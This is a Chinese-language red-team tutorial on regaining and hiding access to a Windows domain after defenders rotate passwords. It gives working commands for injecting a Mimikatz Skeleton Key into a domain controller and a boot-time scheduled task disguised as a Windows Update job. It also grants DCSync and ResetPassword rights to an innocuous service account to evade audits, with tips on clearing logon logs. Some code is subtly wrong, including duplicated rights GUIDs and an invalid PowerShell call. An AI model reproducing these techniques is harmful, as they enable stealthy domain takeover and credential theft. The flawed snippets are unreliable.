从一次真实的翻车说起上个月一个朋友在做红队项目时遇到了一个棘手的情况。他花了两周渗透进了一个大型企业的内网通过一系列操作成功拿到了域控权限部署了我们上篇提到的DSRM后门和计划任务。结果第三天目标安全团队做了一次密码大轮换——把krbtgt密码改了、域管理员密码换了、所有服务账户密码也换了一批。他手里的DCSync结果变成了废纸黄金票据失效了DSRM后门虽然还在但不敢用了安全团队正在查域控。他问我“密码全换了还能进去吗”我说能——但这回得用点非常规手段了。这就是本文的价值当常规的持久化方案全部失效后还有三样东西能让安全团队翻完三天日志也找不到你的重返路径。这三样东西我称之为域渗透的御三家Skeleton Key → 不依赖密码的域控万能钥匙ACL滥用 → 藏在AD权限里的隐形后门AdminSDHolder劫持 → 安全团队修完域控后自动复活的后门这三招不是脚本小子能玩的东西——每一样都需要对Windows认证机制和AD权限模型有深入理解。我们一个一个来说。第一章Skeleton Key——把域控变成不锁门的房子Skeleton Key骨架钥匙是一个很有意思的技术它不是留一个后门账户而是直接修改域控的lsass进程让任何账户的任何密码都能通过域控的认证。1.1 原理Mimikatz的Skeleton Key功能向域控的lsass进程注入一段代码这段代码hook了域控的msv1_0认证包。效果是什么任何用户名 任意密码 通过域控认证。在域控上运行需要域管理员权限mimikatz # privilege::debugmimikatz # misc::skeleton key使用后任意机器远程登录域控用户名: administrator, 密码: 随便输什么用户名: john.doe, 密码: 随便输什么只要是域内的合法账户任何密码都能通过验证这条命令执行完你在域控上连痕迹都不用留——不需要创建账户、不需要改密码、不需要启动服务。1.2 实战场景我朋友当时的场景之前的后门全废了但他还有一台域控的本地管理员权限之前留的。问题是域管理员密码被改了用原凭据登不上去了。场景有一台域控的本地管理员权限不是域管理员通过WMI远程执行mimikatz需要域控本地管理员权限从跳板机上传mimikatz到域控使用impacket的wmiexecimpacket-wmiexec -hashes :deadbeef corp.local/AdministratorDC01.corp.local进shell后执行mimikatzmimikatz.exe “privilege::debug” “misc::skeleton” “exit”执行后所有域用户都可以用密码mimikatz登录域控了。测试——用任意域用户 skeleton密码登录impacket-psexec corp.local/john.doeDC01.corp.local密码mimikatz随便什么密码都可以居然登录成功了这就是Skeleton Key的威力——它不像传统后门需要改密码、建账户、写注册表它是从内存层面破坏了域控的认证机制。重启域控后skeleton key就没了但只要域控在跑它就是不锁门的状态。1.3 注意事项风险说明缓解重启失效域控重启后lsass内存被清空Skeleton Key消失配合启动项自动注入被防病毒查杀内存injection是杀软重点监控行为用白名单签名的mimikatz变种日志记录Skeleton Key本身不产生日志但后续登录会有4624清理4624日志或混在正常流量中多域控环境只对执行了inject的域控生效每个域控都要执行一遍1.4 进阶让Skeleton Key重启不失效如果你想让Skeleton Key持久化重启后自动复活可以把它藏进域控的开机脚本在域控上创建一个开机执行的计划任务schtasks /create /tn “Microsoft\Windows\UpdateOrchestrator\USO_Broker” /tr “powershell.exe -NoP -W Hidden -Exec Bypass -File C:\Windows\Tasks\skel.ps1” /sc onstart /ru SYSTEM /fskel.ps1内容$kmimikatz.exe; Start-Process $k -ArgumentList ‘privilege::debug misc::skeleton exit’ -NoNewWindow -WindowStyle Hidden任务名伪装成Windows更新服务相关的名字——安全团队第一轮应急响应扫描通常会跳过微软自家的任务。但注意如果安全团队重启了域控后立即做登录审计Skeleton Key留下的万能密码登录痕迹会在安全日志里留下密集的4624事件一个经验丰富的安全分析师会注意到异常。所以Skeleton Key更适合快速重返场景不是长期潜伏方案。长期潜伏要看下面两招。第二章ACL滥用——藏在AD权限里的隐形后门如果说Skeleton Key是硬闯ACL滥用就是彻底变成自己人。ADActive Directory的权限模型基于ACLAccess Control List。AD里的每一个对象——用户、组、计算机、OU——都有一张ACL表定义了谁能对这个对象做什么操作。安全团队检查后门时通常关注的是有没有新增的用户有没有修改过的组成员有没有新增的服务和计划任务但他们很少检查某个用户的DACL自主访问控制列表是否被修改了。2.1 原理AD中的ACL权限条目被称为ACEAccess Control Entry。每个ACE定义了一个安全主体对目标对象的具体权限。AD有超过100种权限下面列几个对渗透最有用的权限GUID渗透中用做什么ResetPassword00299570-246d-11d0-a768-00aa006e0529重置任意用户密码WriteMemberbf9679c0-0de6-11d0-a285-00aa003049e2将用户加进特权组ReanimateTombstone未公开恢复已删除的AD对象DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd8DCSync权限DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd8DCSync-All权限User-Force-Change-Password00299570-246d-11d0-a768-00aa006e0529强制改密码Self-Membershipbf9679c0-0de6-11d0-a285-00aa003049e2把自己加进组2.2 实战给自己加DCSync权限最经典的ACL滥用场景给一个普通域用户的账户加上DCSync权限这样即使域管理员密码全换了这个普通用户也能绕过密码直接拉取所有账户的哈希。PowerShell AD模块需要在域控或有RSAT工具的管理员机器上执行步骤1获取当前域信息Import-Module ActiveDirectory$domain Get-ADDomain$dn $domain.DistinguishedName步骤2给一个人畜无害的普通账户添加DCSync权限假设目标账户是corp.local\svc-monitor一个监控服务账户Add-ObjectACL -TargetDistinguishedName $dn -PrincipalIdentity “svc-monitor” -Rights DCSync验证SVC-MONITOR 现在拥有从域控拉取所有密码哈希的权限用这个账户在任意机器上执行mimikatz # lsadump::dcsync /dc:DC01.corp.local /user:krbtgt /domain:corp.local安全团队检查时发现svc-monitor是一个合法的服务账户运行了好几年了不是新创建的。它的组成员也没变——不在Domain Admins组里——所以常规的检查高权限组成员扫描会放过它。但它的ACL权限已经变了。 除非安全团队用专门的ACL审计工具如PingCastle的ACL扫描功能否则根本发现不了。2.3 实战给自己加ResetPassword权限更隐蔽的做法——不给DCSync而是给修改特定用户密码的权限给svc-monitor添加重置某域管理员密码的权限注意不是将svc-monitor加入Domain Admins而是给它一个ACE$targetUser Get-ADUser “administrator”$ace New-Object System.DirectoryServices.ActiveDirectoryAccessRule((Get-ADUser “svc-monitor”).SID,“ExtendedRight”,“Allow”,“00299570-246d-11d0-a768-00aa006e0529” # ResetPassword GUID)$targetUser.PSSnapIn | Out-Null # 确保AD module加载$targetUser.__SetAttribute(“nTSecurityDescriptor”, $ace)执行完后svc-monitor可以重置administrator的密码但不触发新增域管理员的安全警报。用svc-monitor重置管理员密码$adminUser Get-ADUser administrator$adminUser | Set-ADAccountPassword -NewPassword (ConvertTo-SecureString “NewPss123!” -AsPlainText -Force)$adminUser | Enable-ADAccount然后用新密码登录域控密码重置后原来的管理员需要改回来以免被发现这一招最阴险的地方AD修改密码会记录在安全日志的4724事件中。但如果安全团队只监控了4732新增组成员和4720新建用户告警password reset事件是漏网的。2.4 实战AdminCount1筛选绕过这里有个坑AD中的特权账户自动在属性中标记adminCount1安全扫描工具会重点检查这些标记为特权的账户。所以不要给已有的特权账户加ACE要给那些adminCount为空的普通服务账户加。找adminCount不为1的账户Get-ADUser -Filter {adminCount -ne 1 -and enabled -eq $true} -Properties adminCount, memberOf |Where-Object { $_.memberOf.Count -eq 0 } |Select-Object Name, SamAccountName